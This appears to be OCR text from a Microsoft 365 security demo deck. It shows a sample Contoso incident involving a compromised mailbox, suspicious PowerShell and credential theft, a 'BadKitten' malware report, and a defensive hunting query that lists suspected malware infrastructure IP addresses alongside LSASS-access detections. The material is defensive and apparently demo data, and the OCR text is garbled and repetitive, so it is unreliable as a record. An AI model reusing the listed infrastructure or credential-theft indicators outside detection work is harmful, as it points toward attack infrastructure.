Alerts Devices Identities  Investigations Incident graph Action center T Expand table
B8 Export @ Customize columns 57 Filters
“ Title Severity | Detection source Category Alerted entity Status Investigation state Last activity
Possible compromised account Medium Email Compromised mailbox = jonathan.wollcott Open Running Jul 03, 2018 09:26 AM
Suspicious PowerShell Medium Device Suspicius activity L cont-jonawolcot W Jonathan Wolcott Open Running Jul 03, 2018 09:26 AM
Suspect scheduled task Medium Device Persistence L1 3 Machines # 4 Users Open Running Jul 03, 2018 09:26 AM
Active credential theft tool HEE High Device Credential Theft Ll cont-jonawolcot  JW Jonathan Wolcott Open Running Jul 03, 2018 09:26 AM
Outbound email spike Low Email Suspicius activity Ll cont-jonawolcot  JW Jonathan Wolcott Open Remediated Jul 03, 2018 09:27 AM
Suspicious user behavior Low Identity Compromised account = jonathan.wollcott Close Running Jul 03,2018 09:28 AM
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— @ Share [-] Comments and history [ Actions and assistance
@ Dashboard > Incident

Incident #496 6 active alerts Related evidence

Edit incident name ] Machines Users Mailboxes Files Processes 1Ps Applications Servicess Persistence methods

EENE High M High (1) Medium (3) Low (2) Infarmational (0) 3 4 2 1 3 9 4 1 o o 1

Conditional access applied

(=T - I

_ - - - ~ @ - - -
v @ L] L] L] w ] ]
MCIDENT DETAILS H H H Y H
Status Jul 02 09-28:30 AM 09:28:00 AM
Active
= Classification Alerts Devices Identities Incident graph Action center I Expand table
=1 True positive
Set status and classification
0] B8 Export @ Customize columns 57 Filters
Assigned to
Dan Smith
Unassign » Title Severity | Detection source Category Alerted entity Status Investigation state Last activity
Category Possible compromised account Medium Ema Compromised mailbox = jonathan.wollcott Open Running Jul 03,
Compromised mailbox  Suspicius activity
Persistence  Credential Theft @ Suspicious PowerShell Medium Device Suspicius activity L cont-jonawolcot W Jonathan Wolcott Open Running Jul 03, 2018 09:26 AM
Compromised account  Suspicius activity . . ) _
Suspect scheduled task Medium Device Persistence Ll 3 Machines £ 4 Users Open Running Jul 03, 2018 09:26 AM
Active credential theft tool HEE High Device Credential Theft Ll cont-jonawolcot  JW Jonathan Wolcott Open Running Jul 03, 2018 09:26 AM
Outbound email spike Low Ema Suspicius activity Ll cont-jonawolcot  JW Jonathan Wolcott Open Remediated Jul 03, 2018 09:27 AM
Suspicious user behavior Low Identity Compromised account = jonathan.wollcott Close Running Jul 03,

ACTIVE

Activity time
First - Jul 03, 20

18
Last - Jul 03, 2018

Duration

00H :03m : 23s
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— i Share -] Comments and history [31 Actions and assistance

@ Dashboard > Incident

Incident #496 6 active alerts Related evidence

Edit incident name ] Machines Users Mailboxes Files Processes 1Ps Applications Servicess Persistence methods

EENE High M High (1) Medium (3) Low (2) Infarmational (0) 3 4 2 1 3 9 4 1 o o 1

Conditional access applied

(=T - I

_ - - - ~ @ - - -
v @ L] L] L] w ] ]
MCIDENT DETAILS H H H Y H
Status Jul 02 09:28:30 AM 09:29:00 AM
Active
= Classification Alerts Devices Identities Incident graph Action center I Expand table
=1 True positive
Set status and classification
B8 Export @ Customize columns ¥ Filters
()] P i
Assigned to
Dan Smith
Unassign » Title Severity | Detection source Category Alerted entity Status Investigation state Last activity
Category Possible compromised account Medium Ema Compromised mailbox = jonathan.wollcott Open Running Jul 03,
Compromised mailbox  Suspicius activity
Persistence  Credential Theft Suspicious PowerShell Medium Device Suspicius activity L cont-jonawolcot W Jonathan Wolcott Open Running Jul 03, 2018  09:26 AM
Compromised account  Suspicius activity . . ) _
Suspect scheduled task Medium Device Persistence Ll 3 Machines £ 4 Users Open Running Jul 03, 2018 09:26 AM
Active credential theft tool HEE High Device Credential Theft Ll cont-jonawolcot  JW Jonathan Wolcott Open Running Jul 03, 2018 09:26 AM
Outbound email spike Low Ema Suspicius activity Ll cont-jonawolcot  JW Jonathan Wolcott Open Remediated Jul 03, 2018 09:27 AM
@ Suspicious user behavior Low Identity Compromised account = jonathan.wollcott Close Running Jul 03, 2018 09:28 AM

ACTIVE

Activity time
First - Jul 03, 20

18
Last - Jul 03, 2018

Duration

00H :03m : 23s



(=T - I

%

M365 x +

O https://security.microsoft.com

Microsoft 365 Security

Incident #496

Edit incident name

EEE High

Conditional access applied

MCIDENT DETAILS

Status
Active
Classification

True positive

Set status and classification

Assigned to

Dan Smith

Unassign

Category
Compromised mailbox  Suspicius activity

Persistence  Credential Theft

Compromised account  Suspicius activity

ACTIVE

Activity time
First - Jul 03, 201¢
Last - Jul 03, 201¢

Duration

00H :03m : 23s

i Share [-] Comments and history [ Actions and assistance
-
Dashboard > Incident
6 active alerts Related evidence
] Machines Users Mailboxes Files Processes IPs Applications Servicess Persistence methods
W High (1) Medium (3) Infarmational (0) 3 4 2 1 3 9 4 1 o o 1
v v © v v 7 v ® ®
Al 30 AN 09:28:00 AM 09-28:30 AM 09:28:00 AM
Alerts Devices  |dentities gations Incident graph Action center T Expand table
@0 Export [F Customize columns < Filters
» Machine name Risk level Tags User Threat scare First activity Last activity
L cont-jonawolcot A High risk Highly confidential ~ Conditional access applied JW Jonathan Wolcott A High - 127 Jan 01, 2015 08:00 AM Jul 03, 2018 09:29 AM
L0 cont-robingoolsby A\ High risk Highly confidential ~ Conditional access applied RG Robin Goolsby A High - 127 an 01,2015 08:00 AM Jul 03, 2018 09:29 AM
Ll cont-evamacias A High risk Conditional access applied EM Eva Macias A High - 127 an (01, 2015 08:00 AM Jul 03, 2018 09:29 AM
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— i Share -] Comments and history [31 Actions and assistance
@ Dashboard > Incident

Incident #496 6 active alerts Related evidence

Edit incident name ] Machines Users Mailboxes Files Processes 1Ps Applications Servicess Persistence methods

EENE High W High (1) Medium (3) Low (2) Infarmational (0) 3 4 2 1 3 9 4 1 0 0 1

Conditional access applied

(=T - I

_ - - - ~ @ - - -
v v L] L] L] w ] ]
MCIDENT DETAILS H H H Y H
Status Jul 02 09-28:30 AM 09:28:00 AM
Active
= Classification Alerts  Devices Identities Investigations  Incident graph  Action center T Expand table
=1 True positive
Set status and classification
o @0 Export [F Customize columns < Filters
Assigned to
Dan Smith
Unassign e User name Title Threat score Tags UPMN Departrent Primary devices Risk level First seen Last seen
Category JW Jonathan Wolcott Sales manager A High - 127 Conditional access applied jonwolcot@contoso.com Sales USA = ccnt—junawclcol A High risk Jan 01, 2015 08:00 AM Jul 03, 2018 09:28 AM
Compromised mailbox  Suspicius activity
Persistence  Credential Theft RG Robin Goolsby Accounter A High - 127 Conditional access applied robing @contoso.com Finance Ll cont-robingoolsby A High risk Jan 05,2013 08:07 AM Jul 03,2018 0929 AM
Compromised account  Suspicius activity ) i : . . .
EM Eva Macias Accounter A High - 127 Conditional access applied evamacias@contoso.com Finance Ll cont-evamacias A High risk Jan 05, 2009 09:07 AM Jul 03,2018 0929 AM
JP Jess Passmore Engineer A High - 127 Conditional access applied jessp@contoso.com Engineering LB cont-jesspassmore A High risk Jan 05, 2016 09:07 AM Jul 03,2018 0929 AM

ACTIVE

Activity time
First - Jul 03, 2018
Last- Jul03, 2018

Duration

00H :03m : 23s
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i Share [-] Comments and history [ Actions and assistance

Dashboard > Incident

2

Incident #496 Alerts Devices  |dentities  Investigations Incident graph on center I Collapse table

Edit incident name

EEE High 00 Export [F Customize columns < Filters

Conditional access applied

(=T - I

~ Triggering alert Investigation state Investigated entities Start date Duration
MCIDENT DETAILS
Email reported as phishing Remediated L0 contjonawoelcot = Jonathan.wolcott@contoso Jul 03,
Status
e Suspicious PowerShell Running Ll cont-jonawelcot Jul 03, 2018 09:26 AM 00:00:23
el Classification
= True paositive Golden ticket compromised Running W Jonathan Wolcott Jul 03, 2018 09:26 AM
Set status and classification
0] Spear-phishing attack Remediated Ll cont-jonawolcot Jul 03, 2018 09:26 AM
Assigned to
Dan Smith
Unassign
Catego
e CONTAINMENT NVESTIGA

Compromised mailbox  Suspicius activity
Persistence  Credential Theft

Compromised account  Suspicius activity RUNNING

Process based pivot = Investigative and remediate
Find Process by CLI similarity > suspicious Process

Find process by behavior
REMEDIATED
.9@ Conditional Access RUNNING

Alerts > U Filg basel.'.‘l pi\mt_ ‘= Investigative and remediate
REMEDIATED Find devices by file hash > suspicious File >

g Find devices by file similarity hash
ﬁ Machine Restriction

Suspicious PowerShell

RUNNING
L1 Device + Time based pivot ‘= Investigative and remediate
ACTIVE Find Suspicious authentication

Activity time

First -

Last -

Duration

00H :03m : 23s

Find user's devices

suspicious user device
Mo threat found
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Incident #496

Edit incident name

EEE High

Conditional access applied

MCIDENT DETAILS

Status

Active

Classification
True positive

Set status and classification

Assigned to

Dan Smith

Unassign

Category
Compromised mailbox  Suspicius activity

Persistence  Credential Theft

Compromised account  Suspicius activity

ACTIVE
Activity time
First - Jul 03, 2018
Last- Jul03, 2018

Duration

00H :03m : 23s

Dashboard > Incident

Alerts Devices Identities

“ Triggering alert

Email reported as phishing

Suspicious PowerShell

Golden ticket compromised

Spear-phishing attack

Alerts
Suspicious PowerShell

Investigations Incident graph

Action center

Investigation state

Remediated
Remediated
Running

Remediated

CONTAINMENT

=, Conditional Access

& Machine Restriction

>

Investigated entities

Ll cont-jonawolcot
Ll cont-jonawolcot
W Jonathan Wolcott

Ll cont-jonawolcot

Process based pivot
Find Process by CLI similarity
Find process by behavior

[.] File based pivot

Find devices by file hash
Find devices by file similarity hash

L1 Device + Time based pivot
Find Suspicious authentication
Find user's devices

>

i Share

= Jonathan.wolcott@contoso

MNWESTIGA

‘= Investigative and remediate
suspicious Process

REMEDIATED m %

= Investigative and remediate
suspicious File >

&
[ coupereo |

"= Investigative and remediate
suspicious user device
Mo threat found

b
i

-] Comments and history [ Actions and assistance

ICDIIapse table

00 Export [F Customize columns < Filters
Start date Duration
Jul 03,2018 09:26 AM 00:00:23
Jul 03,2018 09:26 AM 00:00:23
Jul 03, 2018 09:26 AM 00:00:23
Jul 03, 2018 09:26 AM 00:00:20

[ comuereo
Remove

Conditional Access

[ conuereo]
Remove

Machine Restriction
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i Share [-] Comments and history [ Actions and assistance

Dashboard > Incident

2

Incident #496 Alerts Devices  |dentities  Investigations Incident graph  Action center ICuIIapse table

Edit incident name

EEE High 00 Export [F Customize columns < Filters

Conditional access applied

(=T - I

“ Triggering alert Investigation state Investigated entities Start date Duration
NCIDENT DETAILS
Email reported as phishing Remediated L0 contjonawoelcot = Jonathan.wolcott@contoso Jul 03,2018 09:26 AM
Status
Activi Je . - : - E
e @ Suspicious PowerShell Remediated L1 contjonawolcot Jul 03, 2018 09:26 AM 00:00:23

Classification
True paositive Golden ticket compromised Running W Jonathan Wolcott Jul 03, 20
Set status and classification

%

0920 AM 00:00:23

r‘
oo

0] Spear-phishing attack Remediated Ll cont-jonawolcot Jul 03, 20 09:26 AM 00:00:20
Assigned to

Dan Smith

Unassign

Category

Compromised mailbox  Suspicius activity

CONTAINMENT NVESTIGA

Persistence  Credential Theft

Compromised account  Suspicius activity REMEDIATED:
Process based pivot = Investigative and remediate

Find Process by CLI similarity > suspicious Process
Find process by behavior

Remove
=, Conditional Access [ conpieven | REMEDIATEG 5 Conditional Access
Alerts [.] File based pivot ‘= Investigative and remediate

Suspicious PowerShell [ N conpieren | > Find devices by file hash > suspicious File > COMPLETED
P Find devices by file similarity hash |£‘| Resisove -

Machine Restriction
L1 Device + Time based pivot ‘= Investigative and remediate
ACTIVE Find Suspicious authentication >

suspicious user device
Find user's devices No threat found

ﬂ Machine Restriction

Activity time
First - Jul 03, 2018
Last- Jul03, 2018

Duration

00H :03m : 23s
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RSS feeds > Threat analytics > BadKitten

213 active alerts in 20 machines Machines mitigation status
Today 213/867 Today 23/800
I L —— ||
Updated 6:20 pm today Updated 6:20 pm today
800 800
400 400

o o

03/01 03/03 03/05 03/07 03/01 03/03 03/05 03/07

W Resolved [l Active Mitigated [l At risk Data unavailable
BadKitten

Published: 2018-032-06 11:00 (-7) | 2018-03-06 11:00 (-7)

Executive Summary
Beginning approximately 9:00 PST on March 6th, 2018, Next-gen protection reported blocking more than 80,000 instances of an unidentified,
sophisticated trojan.

Analysis
Based on preliminary analysis, this malware exhibits cross-process injection technigues, persistence mechanisms, and evasion methods.
The delivery vector(s), associated threats, and impact of the outbreak are as yet unknown.

Detection Details
Next-gen protection Protections Samples of the as-yet unidentified malware may trigger the following cloud detections:

Fuery (for example, Trojan:Win32/Fuery.Alcl)

Fuerboos (for example, TrojanWin32/Fuerboos.Alcl)

Cloxer (for example, Trojan:Script/Cloxer or Trojan:Win32/Cloxer)
Azden (for example, Trojan:Win32/Azden.Alcl)

Next-gen protection , client-side antivirus definitions are not available.

Windows Defender Advanced Threat Protection Alerts with the following titles may appear in the Security Center console:
Known Malware Samples: Unidentified outbreak malware detected
Change log 2018-03-06 11:00 - First published

Top impacted users
Updated 6:20 pm today

User

W Jonathan Wolcott
EM Eva Macias

RG Robin Goolsby

Show more

Remediation tasks
Task
OS security updates
Disable VBA

Address these vulnerabilities

Risk
A High
A High

A High

Categary

Malware

Office

C
v
=}
a
w

=
=

Of Start investigation @ Share

Alerts

45

Unmitigated machine

Unavailable machine status

4,647
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AL AND DATA
Investigate activities that put your users and data
at risk, and take action to protect your
arganization.
Get started by investigating suspicious emails
that reached your users at Threat explarer
DEVICE AMD IDENTITY
Proactively hunt for threat activity across your

devices and identities using powerful,
customizable gueries.

~ Database schema

#~  Community

#~ GitHub shared queries

2 Find email links that resulted in ...

BadKitten

Uncommon access to LSASS
Downloaded documents
Browser query

Uncommon access to LSASS
Downloaded documents
File downloads from
Uncommon access to LSASS

~ Recommended queries

~ Shared queries

~ My queries

~s Schedule queries

b
i

? Help <" Expand view

Advanced hunting > Find email links that resulted in BadKitten downloads on endpoints

Get started Find email links that resulted in BadKitten...

Schedule query ~

// Check for browser sessions initiated from links opened by Outlook to specific known BadKitten infrastructure IP addresses

let infralIP =
NetworkCommunicationEvents
| where RemotelIP in
("139.59.208.246","130.255.73.90","31.3.135.232" ,"52.174.55.168" ,"185.121.177.177" ,"185.121.177.53");
let emaillLinks =

MiscEvents

// Filter on link clicks from Outlook (do case insensitive match using =~)

| where ActionType == "BrowserlLaunchedToOpenUrl™ and isnotempty(RemoteUrl) and InitiatingProcessFileName =~ "outlock.exe"

| project ComputerName, Maillink=Remotelrl;
FileCreationEvents
| where isnotempty(FileOriginUrl) and InitiatingProcessFileMame in~ ("chrome.exe", "browser_broker.exe")
| ject FileName, FileOriginUrl, FileOriginReferrerUrl, ComputerMName, EventTime, SHA1
n kind=inner (emaillinks} on ComputerMame, $left.FileOriginUrl == $right.Maillink

< Event time UserlD User name Email address
Jul 23,2018 06:54:34 AM 031f21af47b0Bf3fEBH20 RG Robin Goolsby B robing@contoso.com
Jul03, 2018  08:43:31 AM 031f21af47b74v3fE8f2t RF  Rex Fredrickson Bl rexf@contoso.com

Jul 07, 2018 06:43:31 AM e1ff19c8brg65307 3aff38 JP  Jess Passmore B jessp@contoso.com

Sources email address

Invoce_2232@gmail.com

Invoce_2232@gmail.com

Invoce_2232@gmail.com

+ Create new

Last 30 days ~

B Export fH Customize columns % Filters
Mail subject Mail count
Please review this invoice 1
Your amazon order is now available 1
Please review ASAP 1
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Pohaneno Microsoft 365

Unikatni kombinace produktivity, zabezpeceni a klientského pristupu
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Surface






Welcome

Would you like to continue in English?




Basics

0  Listening...




Basics

0  Listening...




Network

Now let's get you connected to a network. That way you get updates, apps and cat videos as soon as possible. How about the
first one on the list? Want to use that one?




Network




Network




Account

Welcome, Petr!

Enter password for your KPCS CZ email account

vlk@kpcs.cz

Start over with a different account Forgot password? Next

@J Listening...









We're getting everything ready for you.

Don't turn off your PC



We're getting everything ready for you.

Don't turn off your PC



Setting up your device for work
Q Security setup complete
(( L)) Network setup complete

Ell:lf,l Application installation complete

Leave everything to us. (Don't turn off this device.)



Recycle Bin

Ei O Type here to search g O 2 I ﬁ [~ ~ wm 7z ¢ [J



Zero Trust

Nikdy neverte. Vzdy ovérte.

Zvyseni Remediace
Q Fe’ 'T'\ kontroly rizika
f 1\ L™, N > 101010 7
ame 5 ololol Povolit Omezeny Blokovat
101010 pFistup pristup pristup

Signal Rozhodnuti Vynuceni

pro informované rozhodnuti na zaklade politiky politik napric systéemy
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https://support.office.com/en-us/article/Introducing-the-Office-365-Secure-Score-c9e7160f-2c34-4bd0-a548-5ddcc862eaef
https://aka.ms/SPARoadmap
https://aka.ms/O365SecRoadmap
http://aka.ms/rapidattack
https://docs.microsoft.com/en-us/azure/active-directory/
https://aka.ms/cyberpaw
https://docs.microsoft.com/en-us/azure-advanced-threat-protection/
https://azure.microsoft.com/en-us/services/security-center/
https://aka.ms/ESAE
http://aka.ms/cyberpaw
https://azure.microsoft.com/en-us/marketplace/
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